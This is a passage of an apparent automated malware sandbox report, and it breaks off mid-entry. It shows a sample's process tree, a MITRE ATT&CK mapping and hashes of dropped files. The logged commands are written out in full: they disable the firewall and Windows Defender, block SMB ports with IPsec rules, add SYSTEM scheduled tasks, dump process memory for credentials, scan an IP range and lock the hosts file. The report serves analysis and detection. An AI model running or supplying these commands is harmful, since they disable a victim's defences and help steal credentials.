    - Scheduled Task/Job: Scheduled Task
    PID:2972
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fmptikrhb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tllefmnq\yittybr.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5060
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "fmptikrhb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tllefmnq\yittybr.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "blhbujgqb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lntjubmbe\ttlnnh.exe /p everyone:F"
  2⤵
  PID:4016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "blhbujgqb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lntjubmbe\ttlnnh.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:864
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5052
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3668
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2084
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5092
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3416
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3140
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1640
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1760
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3664
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1540
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4008
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2256
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:888
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4984
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:4880
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:3012
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1008
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4528
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2496
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 784 C:\Windows\TEMP\ppgkyibiq\784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3672
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4468
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:4420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3268
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:5052
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:2736
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:4556
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:3680
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:4236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1508
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2608
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1164
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3488
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3892
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:4776
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4104
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 380 C:\Windows\TEMP\ppgkyibiq\380.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2404
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 1160 C:\Windows\TEMP\ppgkyibiq\1160.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3132
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 2528 C:\Windows\TEMP\ppgkyibiq\2528.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4036
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 2876 C:\Windows\TEMP\ppgkyibiq\2876.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3324
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 2896 C:\Windows\TEMP\ppgkyibiq\2896.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3916
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 3060 C:\Windows\TEMP\ppgkyibiq\3060.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4920
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 3832 C:\Windows\TEMP\ppgkyibiq\3832.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2736
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 3920 C:\Windows\TEMP\ppgkyibiq\3920.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 3984 C:\Windows\TEMP\ppgkyibiq\3984.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2600
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 4088 C:\Windows\TEMP\ppgkyibiq\4088.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4540
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 2732 C:\Windows\TEMP\ppgkyibiq\2732.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4252
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 4720 C:\Windows\TEMP\ppgkyibiq\4720.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 1768 C:\Windows\TEMP\ppgkyibiq\1768.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3776
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 4464 C:\Windows\TEMP\ppgkyibiq\4464.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:512
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 4488 C:\Windows\TEMP\ppgkyibiq\4488.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4588
- C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe
  C:\Windows\TEMP\ppgkyibiq\btjlhtrlh.exe -accepteula -mp 3660 C:\Windows\TEMP\ppgkyibiq\3660.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1760
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\ppgkyibiq\ihnqsqiep\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2536
- - C:\Windows\ppgkyibiq\ihnqsqiep\vmlbqggye.exe
    vmlbqggye.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2996
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:5732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5708
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4016
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2512
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6100

C:\Windows\SysWOW64\ogmqci.exe
C:\Windows\SysWOW64\ogmqci.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4832

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\yittybr.exe
1⤵
PID:1112
- C:\Windows\ime\yittybr.exe
  C:\Windows\ime\yittybr.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4588

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\tllefmnq\yittybr.exe /p everyone:F
1⤵
PID:1456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3904
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\tllefmnq\yittybr.exe /p everyone:F
  2⤵
  PID:1668

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\lntjubmbe\ttlnnh.exe /p everyone:F
1⤵
PID:1528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3768
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\lntjubmbe\ttlnnh.exe /p everyone:F
  2⤵
  PID:1244

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\yittybr.exe
1⤵
PID:5852
- C:\Windows\ime\yittybr.exe
  C:\Windows\ime\yittybr.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:644

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\tllefmnq\yittybr.exe /p everyone:F
1⤵
PID:5968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4280
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\tllefmnq\yittybr.exe /p everyone:F
  2⤵
  PID:3308

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\lntjubmbe\ttlnnh.exe /p everyone:F
1⤵
PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1900
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\lntjubmbe\ttlnnh.exe /p everyone:F
  2⤵
  PID:1164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\lntjubmbe\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\ppgkyibiq\1160.dmp

Filesize
4.2MB

MD5
5b897777cc4bd883cde3f9cabaa64f93

SHA1
da376ffb6ae3dcd62af1849492be558a6c32b78e

SHA256
6d66494220841908508be71fc690901298b042627b540d584954fee2f059f24c

SHA512
30f196ce04d60d09ec4e869579121c82e4779be6b3f020a5b66aee3bd95d6b7ab77a9d87d35dab147df4003501270aa0f35bc083932b0f2bea4d49ea5b827ca3

Download Submit
C:\Windows\TEMP\ppgkyibiq\1768.dmp

Filesize
8.6MB

MD5
08ef17b6b9873870bdee4ce46e86cc88

SHA1
933f99dc7b950de2907855607f6b43fbfe0f371f

SHA256
64bf87bd4181fe7ba93fcb0fa805987734cbc26dfe23646f028d8c6a022d04b4

SHA512
9d735ba9673ea003ae0f29045f52dd1a5e6b04f228ed3d8716310d382776cb05b25e9a63ee50a5c944d687bc7bc715b2bdf0f7c1f7161bb005c2a95733b70377

Download Submit
C:\Windows\TEMP\ppgkyibiq\2528.dmp

Filesize
7.5MB

MD5
72318c3f53aabe971462df49d318b3d2

SHA1
63dee2cdfa3fbf2c506313aaacd311af39b1c160

SHA256
b9801b7e849457fb7c1b7dc77ea4f569d066fa7defd743a61fca3d4dc0b383ef

SHA512
8a290c5ad89cf7573c425c37ca1383f0241bd18dad62356764276163e70d00508d74405db581c82126f0159720841704b1e152e58dbf2adec480e4abfdbf8094

Download Submit
C:\Windows\TEMP\ppgkyibiq\2732.dmp

Filesize
25.9MB

MD5
d01797e4c883fe49ed804974456fc82d

SHA1
689eafcbb991012dd0b3f54648b483acf69ffaf7

SHA256
c2a241717da7c84f1554a447a43d5cc694665bf403c89f630d0ce8f4ac61caee

SHA512
f653fb1331830896fa9a8d3d94e4beaf5515ef3d7537ad596aa380800f6ba46c94946255eaab2a6bf01fbc7965bf0babf890753cee9979a607d5034719961e1e

Download Submit
C:\Windows\TEMP\ppgkyibiq\2876.dmp

Filesize
822KB

MD5
94e580177b12f56bfae938266755b992

SHA1
298c830c1a690cfe822d36f1f3379263cc422ec9

SHA256
dcbce576ae468feb1a7c6d3067e3ff021b22968701e2423c59ff8c4afe0aed79

SHA512
c0eee03cb734925213bef25941bf051af49d329143f335612334297374a24639154156b3b91fa49ee2ea9a2776afcfcc3eb074a5d87d11efb333fe8024c5e510

Download Submit
C:\Windows\TEMP\ppgkyibiq\2896.dmp

Filesize
3.5MB

MD5
581d7448fc6290dce462aadb4973569c

SHA1
453deadcb73805128edb4dcf359467774cc88340

SHA256
740e29b1f00dc238ca82a6876b09803f9fdcbd249f6f143e66583c8f93466a32

SHA512
b7267290a003b2253fed8171e11d62e7f9a9958a936503d5c4138e7cc7f5840adff5e9103f9132a5d162855d3bd9895145fc14f34c71351609b3748143c9d64d

Download Submit
C:\Windows\TEMP\ppgkyibiq\3060.dmp

Filesize
2.9MB

MD5
b4ed3aa20f255f86f240970d19c1e998

SHA1
fd3e5233753108f98836ecfef294f4be72a1d268

SHA256
6ef7f13d009d89d741cc2ab7ce9fbc02cc63d9fe52cfb635df5a626129892fe5

SHA512
3d2aed8e7e00e485a411cbeebdec3ee11068bf87ce6fc1027e6293538589d80bb75657d6c5ece5b728515ef6373132e1f1b82f5bee8bb3ac1244d9852c81a13b

Download Submit
C:\Windows\TEMP\ppgkyibiq\380.dmp

Filesize
33.4MB

MD5
e15828a032555983f24ab95a9b545c8b

SHA1
49b0e9655e5bff79917f3e2ae6a3ce6d29a6a11b

SHA256
54d04600c156339213a8ae1520e8b8f821f2010ee136993b74170d3f31466435

SHA512
4b52d3eebac2861f715eaf09402f8bc715a226215abee26cce6ed2b89c9d12a071bcf747d986047bb7b1db25d6887f7e2556d6a2076fdff2e02d490a6aa97d7a

Download Submit
C:\Windows\TEMP\ppgkyibiq\3832.dmp

Filesize
2.6MB

MD5
2224485f1efebe338f64c175d7379504

SHA1
1e8ac2f3b5d0c6b235cfa5da6f907ab80c81f1fc

SHA256
5e4553f949064a1306fd97613144f1bd9ea55f9279350d3762041c5d714477a0

SHA512
24ff45372cf9c3c1a6a18c4c04822b9549ee17d4c6cb881b7af5e4c79d7264026c27e5f8a5ed8a4f408ef9d40a22fcd1eedd0b4dc2723bca67d6cef6122522a9

Download Submit
C:\Windows\TEMP\ppgkyibiq\3920.dmp

Filesize
20.7MB

MD5
a7eeffbe94210c87a19d8efdee2c9d84

SHA1
926adba66f12c0c367781ff5b0e0daea6309f450

SHA256
c3ff4a76983ea74907b59cfceb0cc651547bc6767d8877428f768bfcc30033e4

SHA512
8fe01056311e036d5decc06b3623f56f0e87f4312e3298468894dd5fae8263610b15fbd157d3953a02f64166e8fe503646daba9ba27ac68c807ee0dbe1c28010

Download Submit
C:\Windows\TEMP\ppgkyibiq\3984.dmp

Filesize
4.3MB

MD5
e49861d41b2623877dff058d1c8d63dd

SHA1
ac47219f9cda72ca7ffbf300dc6c165c2a11a9b5

SHA256
1d416b53373b0528a6e00f7affa117e81f45decd2d774e5bed0b973979b8be47

SHA512
1c18f82ebc9f30e730edbe3eb8afc9dba92e6fc169337efbdda005f0ca747c4af987ddec353dcaadb6ebfd4073bf18a93f1d6a7dc1b0f9d717e8792fa241550e

Download Submit
C:\Windows\TEMP\ppgkyibiq\4088.dmp

Filesize
45.5MB

MD5
20dd65a043659e47ef73ccaba96e5d11

SHA1
3b9020845c068ff54ade61ff5f15264e376b5ff9

SHA256
fc04c9fb4ffa6906030e6fd308000b7ee6b27315ecd2752ff4520a0e06207d75

SHA512
f1191d269158f8265fb2079b72acc1b321ca577f1ba65e363c3a8fbe0c8338c498336e5658be58670138f143df620b81258d1e08dfbcb5f90f8b0fe2437c005a

Download Submit
C:\Windows\TEMP\ppgkyibiq\4720.dmp

Filesize
1.2MB

MD5
f4f28eb3926de11a1246c2e12bbe8beb

SHA1
d3efa6bbf8dcf267e526eafac37e0a85e5ec04d8

SHA256
c6b1b1dda25fc135801800b196e83809c13a93d732fb60dce76ea4a1fc86c7e8

SHA512
ee3d5b42156babae360e4795197934ec6ab21df4461b2efd9329317c24709537f7acd5e0819b0646781175f471686eb3ff35a4398fd56b399eee7df4e1adbb49

Download Submit
C:\Windows\TEMP\ppgkyibiq\784.dmp

Filesize
3.4MB

MD5
6294f4a7f2d0864b6ea62cf9c0761650

SHA1
6aa80bd8457748bea87268ff5e19ea24ea069b38

SHA256
f18ece1e72e25b7460531be010e43874e60a2546f4e8871728b2d3bd5762750b

SHA512
d975a8282483cc92748eda7253fde161fdcdf2e2f196b3e1b41a0d8b72a9bae0246315398c8ed14ee4dd2f459d00c7a65a1bcfddedcffee22783fa9513518727

Download Submit
C:\Windows\Temp\lntjubmbe\ttlnnh.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsv59B.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsv59B.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\ppgkyibiq\btjlhtrlh.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\ppgkyibiq\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\ppgkyibiq\ihnqsqiep\Result.txt

Filesize
1KB

MD5
